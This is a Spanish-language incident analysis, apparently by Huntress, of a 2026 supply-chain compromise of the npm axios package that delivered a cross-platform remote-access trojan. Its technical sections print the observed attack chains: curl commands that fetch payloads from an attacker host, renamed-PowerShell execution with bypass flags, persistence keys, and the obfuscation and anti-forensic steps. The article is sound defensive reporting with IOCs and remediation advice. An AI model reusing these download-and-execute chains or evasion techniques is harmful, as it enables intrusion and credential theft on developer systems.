Compromiso de la cadena de suministro del paquete npm axios

Nota: Este artículo de Rapid Response se escribió con la ayuda de IA.

Agradecimientos: Un agradecimiento especial a Jevon Ang, Michael Elford, Jordan Sexton, Armelle French, Stephanie Fairless, Juzzy Allen, Ryan Dowd, Chad Hudson, Lindon Wass, James Maclachlan, James Northey, Josh Kiriakoff, Jai Minton y Max Rogers por sus contribuciones a esta investigación y respuesta.

ACTUALIZACIÓN @ 31/3 a las 6:30 p. m. hora del Este

Desde que publicamos nuestro análisis anoche, Huntress ha continuado monitoreando el compromiso de la cadena de suministro de axios.

El SOC de Huntress ha visto más indicadores en los sistemas, incluido un script system.bat con una clave de ejecución de usuario en un sistema llamado Microsoft Update, similar al que se vio en el compromiso de axios, pero que en su lugar contacta a calltan[.]com. Esto resulta ser anterior al compromiso de axios, y se desconoce la fecha exacta de creación, pero comparte un tema similar con otro dominio vinculado a este compromiso: callnrwise[.]com. Cabe destacar que el dominio calltan[.]com se ha vinculado a un binario usado recientemente por actores de la RPDC, según investigadores de Volexity.

Aunque la motivación exacta detrás del ataque sigue sin estar clara, múltiples líneas de evidencia ahora apuntan a actividad patrocinada por el estado norcoreano. Otros investigadores, incluidos los de Elastic, han notado que el binario de macOS entregado por el hook de posinstalación de plain-crypto-js tiene coincidencias con una puerta trasera atribuida a un grupo de amenazas vinculado a la RPDC. Además, el nombre de proyecto interno macWebT está directamente vinculado al módulo webT documentado de BlueNoroff, proveniente de las campañas de malware RustBucket. Google Threat Intelligence Group también ha atribuido el ataque a UNC1069, un presunto actor de amenazas norcoreano.

Con los paquetes maliciosos ya eliminados del registro de npm y la infraestructura de C2 fuera de línea, no esperamos ver nueva explotación inicial ni actividad posterior de explotación proveniente de las direcciones específicas identificadas en esta campaña. Sin embargo, cualquier sistema que haya ejecutado el payload malicioso durante la ventana de exposición debe seguir tratándose como totalmente comprometido. Las organizaciones deben continuar siguiendo las indicaciones de remediación descritas a continuación, incluida la rotación de todas las credenciales y la reconstrucción de los sistemas afectados, ya que las capacidades del RAT para el robo de credenciales y la exfiltración de datos implican que el alcance total del compromiso podría no ser evidente de inmediato.

--------------------------

PUBLICACIÓN ORIGINAL

TL;DR: Huntress ha observado explotación activa de un compromiso de la cadena de suministro dirigido al paquete npm axios, una de las bibliotecas de JavaScript más usadas, con más de 100 millones de descargas semanales. El ataque entregó un troyano de acceso remoto (RAT) multiplataforma a sistemas macOS, Windows y Linux mediante una dependencia maliciosa inyectada en versiones con puerta trasera de axios. Las organizaciones deben auditar de inmediato sus dependencias en busca de [email protected] o [email protected], tratar cualquier sistema que haya instalado alguna de estas versiones como comprometido, y seguir las indicaciones de remediación a continuación.

Antecedentes

El 31 de marzo de 2026 se ejecutó un ataque coordinado a la cadena de suministro contra el paquete npm axios. Un atacante comprometió las credenciales de npm de la cuenta del mantenedor principal (jasonsaayman) y publicó manualmente dos versiones con puerta trasera: [email protected] (etiquetada como latest) y [email protected] (etiquetada como legacy). Estas versiones introdujeron una dependencia fantasma -- [email protected] ... un paquete que no había existido antes de ese día y que en realidad nunca es importado por el código de axios. Su único propósito era ejecutar un script postinstall que descarga y ejecuta un RAT multiplataforma dirigido a macOS, Windows y Linux.

axios es un cliente HTTP basado en promesas que se usa ampliamente en todo el ecosistema de JavaScript y Node.js. Es una dependencia transitiva de incontables paquetes, pipelines de CI/CD, estaciones de trabajo de desarrolladores y aplicaciones en producción en todo el mundo. El alcance de este compromiso es considerable: cualquier entorno que ejecutara npm install y resolviera a [email protected] o [email protected] durante la ventana de exposición de aproximadamente tres horas pudo haber ejecutado el payload malicioso de forma automática, sin necesidad de interacción del usuario.

Las versiones maliciosas se publicaron durante la madrugada (justo después de la medianoche UTC, entre el domingo por la noche y el lunes por la mañana), maximizando el tiempo disponible antes de que los mantenedores y el equipo de seguridad de npm pudieran responder. Los paquetes comprometidos se eliminaron de npm aproximadamente tres horas después, pero el daño ya estaba hecho. Dentro de nuestra base de socios, Huntress observó al menos 135 endpoints en todos los sistemas operativos contactando la infraestructura de comando y control del atacante durante la ventana de exposición.

Qué sucedió

Compromiso de la cuenta

Un atacante obtuvo acceso a la cuenta de npm de jasonsaayman, el mantenedor principal de la biblioteca de código abierto axios. El correo del mantenedor se cambió de la dirección legítima a ifstap@proton[.]me, y el atacante evadió el flujo de trabajo normal de publicación de CI/CD basado en OIDC de GitHub Actions, publicando directamente mediante la CLI de npm con un token de acceso de larga duración.

Un detalle crítico: incluso en la rama v1.x, donde estaba configurado OIDC Trusted Publishing, el flujo de publicación seguía pasando NPM_TOKEN como variable de entorno junto con las credenciales de OIDC. Cuando ambos están presentes, npm usa el token. Esto significó que el token de larga duración era, en la práctica, el método de autenticación para todas las publicaciones, sin importar la configuración de OIDC.

El mantenedor real declaró después en el issue #10604 de GitHub: "im trying to get support to understand how this even happened. i have 2fa / mfa on practically everything." El método exacto del compromiso del token sigue sin determinarse.

Preparación previa

El ataque se preparó aproximadamente 18 horas antes de la detonación. Una cuenta creada por el atacante (nrwise@proton[.]me) publicó una versión limpia de [email protected] para establecer un historial de publicaciones en npm. Esto redujo la probabilidad de que los escáneres automatizados marcaran la versión maliciosa posterior únicamente por la novedad de la cuenta.

Cronología de la detonación

La primera infección en un endpoint monitoreado por Huntress ocurrió 89 segundos después de que se publicara [email protected]. Esto es consistente con pipelines de CI/CD automatizados y máquinas de desarrolladores que usan rangos con acento circunflejo (^1.x) sin dependencias bloqueadas: la versión maliciosa se resolvió de inmediato en el siguiente npm install.

Detalles técnicos

El dropper: setup.js

Cuando [email protected] se instaló como dependencia del axios con la puerta trasera, su hook de postinstall ejecutó node setup.js. Este archivo JavaScript de 4209 bytes usaba un esquema de ofuscación de dos capas:

1. Base64 invertido: las cadenas codificadas se invertían, los guiones bajos se reemplazaban por el relleno =, y luego se decodificaban en base64
2. Cifrado XOR: clave "OrDeR_7077": los caracteres alfabéticos producen NaN en Number(), lo que se vuelve 0 en operaciones a nivel de bits, dando los dígitos de clave efectivos [0,0,0,0,0,0,7,0,7,7]

Las 18 cadenas ofuscadas en el arreglo stq[] ocultan nombres de módulos (child_process, os, fs), la URL de C2, comandos de shell y rutas de archivos. Al ejecutarse, setup.js detecta el sistema operativo mediante os.platform() y lanza un payload específico para la plataforma:

• macOS (darwin): escribe un AppleScript en un archivo temporal, que descarga el binario del RAT mediante curl
• Windows (win32): escribe un VBScript que copia powershell.exe a %PROGRAMDATA%\wt.exe, y luego descarga y ejecuta un RAT en PowerShell
• Linux: descarga un script de RAT en Python a /tmp/ld.py y lo ejecuta

Después de entregar el payload, setup.js realiza tres operaciones antiforenses:

1. Se elimina a sí mismo (setup.js)
2. Elimina package.json (que contiene el hook de postinstall... la evidencia)
3. Renombra package.md a package.json: reemplaza el manifiesto con un stub limpio de la v4.2.0

Después de la limpieza, el directorio node_modules/plain-crypto-js/ parece ser una librería de criptografía normal. La presencia de este directorio es, en sí misma, evidencia de un compromiso, incluso si el contenido parece limpio.

Tácticas en Windows

La cadena de infección en Windows avanza por varias etapas diseñadas para evadir la detección:

node setup.js

  → Escribe un VBScript en %TEMP%\6202033.vbs (ventana oculta, estilo 0)

    → Copia powershell.exe a %PROGRAMDATA%\wt.exe

      → cmd.exe /c curl -s -X POST -d "packages.npm.org/product1" "http://sfrclak[.]com:8000/6202033" > %TEMP%\6202033.ps1

        → %PROGRAMDATA%\wt.exe -w hidden -ep bypass -file %TEMP%\6202033.ps1

          → Elimina 6202033.ps1

          → Elimina 6202033.vbs

Figura 1: El EDR de Huntress detecta la ejecución de esta cadena de ataque

El renombrado powershell.exe → wt.exe es una técnica deliberada de evasión de EDR. wt.exe es el nombre de archivo legítimo de Windows Terminal, por lo que las heurísticas basadas en el nombre del proceso podrían no detectarlo. Las etapas de VBScript y PowerShell se autoeliminan después de ejecutarse.

Etapa 2: RAT en PowerShell

El payload de la segunda etapa es un RAT en PowerShell con todas las funciones, capturado por analistas del SOC de Huntress mientras el C2 aún entregaba payloads. En la primera ejecución, establece persistencia:

1. Crea %PROGRAMDATA%\system.bat con una cadena de descarga que vuelve a obtener el RAT desde el C2 en cada inicio de sesión
2. Configura el atributo de archivo de system.bat como Hidden
3. Agrega una clave de registro Run en HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate que apunta al archivo por lotes

Luego, el RAT realiza un reconocimiento inicial, enumerando las carpetas Documents, Desktop, OneDrive, AppData\Roaming y todas las raíces de unidades del sistema de archivos del usuario. Envía estos datos al C2 como una baliza FirstInfo, y luego entra en un ciclo de latido de 60 segundos (BaseInfo) que reporta el nombre de equipo, el nombre de usuario, la versión y arquitectura del sistema operativo, la zona horaria, el modelo del hardware, el tipo de CPU, la hora de inicio, la fecha de instalación y una lista completa de procesos en ejecución.

El RAT admite cuatro manejadores de comandos:

Puedes ver el payload completo para Windows en este gist de Github:

https://gist.github.com/JohnHammond/df0e06df00e993e7917436d0f73df626

Técnicas en macOS

En macOS, el dropper escribe un AppleScript en un archivo temporal, que usa curl para descargar un binario universal Mach-O (compatible con x86_64 y ARM64) desde el C2 con el cuerpo POST packages.npm.org/product0. El binario se guarda en /Library/Caches/com.apple.act.mond, imitando deliberadamente la convención de nomenclatura propia de Apple com.apple.* para pasar desapercibido.

La cadena de ejecución completa observada en la telemetría de Huntress EDR:

osascript <temp_script>

  → sh -c curl -o /Library/Caches/com.apple.act.mond -d packages.npm.org/product0 -s http://sfrclak[.]com:8000/6202033

    → chmod 770 /Library/Caches/com.apple.act.mond

      → /bin/zsh -c "/Library/Caches/com.apple.act.mond http://sfrclak[.]com:8000/6202033 &"

El RAT de macOS es un binario compilado en C++ que usa la biblioteca nlohmann/json y libcurl. Ofrece el mismo vocabulario de comandos que la variante de Windows (kill, peinject, runscript, rundir), usa el mismo protocolo de C2 y realiza la misma toma de huellas del sistema. En macOS, enumera específicamente /Applications, ~/Library y ~/Library/Application Support. Firma de manera ad hoc los payloads que deja (codesign --force --deep --sign -) para eludir Gatekeeper.

Técnicas en Linux

El payload de Linux es el más directo: setup.js escribe un comando de shell que usa curl para descargar un script de RAT en Python en /tmp/ld.py y lo ejecuta con nohup python3 /tmp/ld.py en segundo plano.

El RAT de Python es un script de 443 líneas que usa solo módulos de la biblioteca estándar (http.client, subprocess, json, base64, os, platform). Lee la información del sistema directamente desde /proc/ y /sys/class/dmi/id/ en lugar de depender de herramientas externas. Enumera ~, ~/.config, ~/Documents y ~/Desktop al primer contacto.

El comando peinject en Linux coloca un binario decodificado en base64 en /tmp/.<random6chars> (con prefijo de punto para ocultarlo), establece chmod 777 y lo ejecuta mediante subprocess.Popen().

Cabe destacar que la variante de Linux no establece persistencia. Un reinicio elimina el RAT. Esto podría reflejar que los objetivos en Linux en este contexto son principalmente ejecutores de CI/CD y contenedores (efímeros por naturaleza), donde la persistencia no es necesaria porque el valor está en los secretos y las credenciales accesibles durante la compilación.

Puedes ver el payload completo para Linux en este gist de Github:

https://gist.github.com/JohnHammond/96575799bd87ae64cddbc55634a6d32d

Comparación de RAT entre plataformas

Las tres variantes de plataforma comparten un protocolo de C2 y un vocabulario de comandos idénticos, lo que confirma que provienen del mismo actor de amenazas y del mismo marco de desarrollo:

Todas las variantes usan la misma cadena User-Agent anacrónica: mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0) … una cadena de Internet Explorer 8 en Windows XP. En 2026, esto es altamente anómalo y un indicador de detección confiable.

Diseño de la comunicación C2

El servidor C2 en sfrclak[.]com:8000 usa la ruta URL /6202033 como identificador de campaña.

Quizás un huevo de pascua que nos pareció divertido… los números "6202033" al revés son convenientemente "3-30-2026", la fecha del ataque.

Los cuerpos POST están diseñados para imitar el tráfico del registro npm:

El prefijo packages.npm.org es una técnica de evasión de SIEM: se parece al tráfico legítimo de npm en el análisis de registros. Sin embargo, npm.org no es el registro npm… ese dominio ha pertenecido a la National Association of Pastoral Musicians desde 1997. El sufijo numérico del producto permite el enrutamiento de plataforma del lado del servidor desde un solo endpoint.

Observaciones de Huntress

Cronología de la respuesta del SOC

El SOC de Huntress tuvo la fortuna de investigar este ataque antes de que la comunidad de seguridad en general diera la alarma públicamente. Así se desarrolló la respuesta (con divertidas capturas de pantalla reales de nuestro propio Slack interno 😜):

A las 9:49 p. m. hora del Este del 30 de marzo, el analista del SOC de Huntress Jevon Ang marcó C:\ProgramData\wt.exe apareciendo en múltiples endpoints en diferentes organizaciones y cuentas. Esto no indicaba un solo proceso anómalo en una sola máquina, sino un patrón en varias organizaciones.

El analista del SOC Michael Elford rastreó la cadena de ejecución completa: directorios que contienen plain-crypto-js → setup.js → VBScript → PowerShell renombrado (wt.exe) → script de PowerShell desde el directorio temporal → todos se comunican con sfrclak[.]com. Identificó el mecanismo de persistencia (clave del registro MicrosoftUpdate → system.bat) y notó que una instancia había sido bloqueada por Defender.

A las 10:00 p. m., Chad Hudson identificó la técnica de evasión: "wt.exe es solo Windows Terminal, usado como una forma de evadir la detección de PowerShell." El actor de amenazas había copiado powershell.exe a C:\ProgramData\wt.exe para disfrazar la ejecución como Windows Terminal y evadir las heurísticas de nombre de proceso.

A las 10:17 p. m., Jordan Sexton compartió el código fuente completo del RAT de etapa 2 para Windows — capturado mientras el C2 todavía servía payloads activamente. Minutos después, a las 10:25 p. m., el C2 ya empezaba a ser intermitente: Chad Hudson anotó que "el sandbox no está replicando"...ya que los entornos de análisis dinámico ya no podían recuperar el payload.

A las 10:22 p. m., Chad documentó la cadena de ejecución completa observada:

node setup.js

    → cmd.exe

      → cscript.exe (ejecuta un VBS temporal)

        → cmd.exe

          → curl (POST al C2)

          → escribe el payload → 6202033.ps1

          → se ejecuta mediante wt.exe (oculto, con bypass)

          → elimina el payload

A las 10:38 p. m., el SOC confirmó que el ataque era más amplio de lo que parecía al principio. Jordan Sexton notó que una máquina parecía haber sido comprometida mediante un paquete yarn datadog. Michael Elford confirmó: "viene de múltiples fuentes y no solo de OpenClaw." Encontró una dependencia maliciosa incluso dentro de un módulo de Wordpress anidado en: C:\Users\[REDACTED]\AppData\Roaming\npm\node_modules\@wordpress\scripts\node_modules\plain-crypto-js\…lo que confirmó que la cadena de suministro se propagó a través de cualquier paquete que dependiera, de forma transitiva, de axios.

A las 10:56 p. m., Max Rogers compartió el tweet de Feross, de Socket Security en el canal del SOC — la primera alerta pública sobre el compromiso de axios. El SOC de Huntress ya llevaba más de una hora investigando.

En poco tiempo comprendimos la magnitud total del incidente: 135 resultados en todos los sistemas operativos contactando a sfrclak[.]com.

Qué obtuvo el atacante

En cada endpoint comprometido, el RAT realizó un reconocimiento inmediato del sistema: enumeró directorios de usuario, raíces de unidades del sistema de archivos y procesos en ejecución, y transmitió estos datos al C2. El RAT mantuvo un bucle de beacon de 60 segundos, listo para aceptar más comandos, incluyendo la ejecución arbitraria de scripts y la inyección de binarios en memoria. En los endpoints con Windows, el RAT estableció persistencia que sobrevivía a los reinicios y volvía a descargar el payload en cada inicio de sesión del usuario.

Las estaciones de trabajo de los desarrolladores y los ejecutores de CI/CD son objetivos de alto valor. Estos entornos suelen contener tokens de npm, claves SSH, credenciales en la nube, claves de API, archivos .env y otros secretos. Cualquier sistema que haya ejecutado el payload malicioso debe tratarse como un escenario completo de robo de credenciales.

Orientación para la mitigación

Determina si te vio afectado

Muchas de estas mitigaciones se deben a el excelente artículo de StepSecurity y a su esfuerzo por dar la voz de alarma sobre este ataque generalizado a la cadena de suministro.

1. Rvisa tus archivos de bloqueo (package-lock.json, yarn.lock, pnpm-lock.yaml) en busca de:

• [email protected]
• [email protected]
• Cualquier versión de plain-crypto-js

2. Revisa si existe el directorio de dependencia maliciosa:

ls node_modules/plain-crypto-js 2>/dev/null && echo "POTENTIALLY AFFECTED"

La presencia del directorio es evidencia suficiente... incluso si el package.json interno parece limpio (debido al intercambio antiforense).

3. Revisa los endpoints en busca de artefactos específicos de cada plataforma:

macOs:

ls -la /Library/Caches/com.apple.act.mond

Windows (cmd.exe):

dir "%PROGRAMDATA%\wt.exe"

dir "%PROGRAMDATA%\system.bat"

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v MicrosoftUpdate

Linux:

ls -la /tmp/ld.py

4. Revisa los registros de red/DNS en busca de conexiones a sfrclak[.]com o 142.11.206.73 en el puerto 8000.

Remediación inmediata

- Fija versiones seguras de inmediato:

• npm install [email protected] (para usuarios de 1.x)
• npm install [email protected] (para usuarios de 0.x)

- Agrega overrides para evitar la resolución transitiva:

{

  "overrides": { "axios": "1.14.0" },

  "resolutions": { "axios": "1.14.0" }

}

- Elimina la dependencia maliciosa:

rm -rf node_modules/plain-crypto-js

npm install --ignore-scripts

- Si se encuentran artefactos del RAT en un endpoint: No intentes limpiarlo en el sitio. Reconstrúyelo a partir de una imagen confiable conocida.

- Rota todas las credenciales accesibles desde los sistemas afectados: tokens de npm, claves de AWS, claves SSH, secretos de CI/CD, valores .env, credenciales en la nube, tokens OAuth, claves de API.

- Bloquea el C2 en el perímetro de la red:

• Dominio: sfrclak[.]com
• IP: 142.11.206.73
• Puerto: 8000

- Limpia la caché de npm: npm cache clean --force

Refuerzo a largo plazo

• Haz siempre commit de los archivos de bloqueo y usa npm ci en lugar de npm install en CI/CD
• Configura npm config set min-release-age 3 para imponer una cuarentena de 48 a 72 horas en las nuevas versiones de paquetes
• Usa --ignore-scripts como política permanente de CI/CD cuando sea posible
• Implementa OIDC Trusted Publishing para las publicaciones de npm y elimina los tokens de npm de larga duración; incluso cuando OIDC está configurado, un token coexistente tiene prioridad
• Implementa herramientas de análisis de composición de software (SCA) con detección de malware en tiempo real

¿Qué está haciendo Huntress?

Huntress ha implementado detecciones que cubren todas las variantes de plataforma de este ataque, incluidas:

• Actividad de C2 en la red hacia sfrclak[.]com:8000 y los patrones de callback del RAT
• Ejecución del dropper postinstall de plain-crypto-js y el comportamiento ofuscado de setup.js
• Artefactos específicos de la plataforma:
• macOS: /Library/Caches/com.apple.act.mond
• Windows: %PROGRAMDATA%\wt.exe, scripts temporales de corta duración y la persistencia en el registro de MicrosoftUpdate
• Linux: /tmp/ld.py y cadenas de ejecución de Python relacionadas
• Árboles de procesos consistentes con node → cmd/cscript → wt.exe en Windows y osascript → curl → com.apple.act.mond en macOS

Estamos investigando de forma activa en los endpoints monitoreados por Huntress y trabajando directamente con los socios afectados en la investigación y remediación a nivel de endpoint.

Indicadores de compromiso (IOC)

Paquetes maliciosos

Hashes del payload de etapa 2 (SHA-256)

Indicadores de red

Indicadores del sistema de archivos

Indicadores de registro (Windows)

Cuentas del atacante

Referencias

• Socket Security — axios comprometido en npm
• StepSecurity — axios comprometido en npm: versiones maliciosas instalan troyano de acceso remoto
• Aikido — axios npm comprometido: mantenedor secuestrado, RAT implementado
• Joe Desimone / Elastic Security — Gist de análisis técnico
• Issue de GitHub #10604 — respuesta del mantenedor de axios
• Feross Aboukhadijeh / Socket — alerta pública inicial
• Flujo de trabajo de obsolescencia de axios para versiones comprometidas
• Paquete npm: plain-crypto-js v4.2.1 (código fuente de setup.js)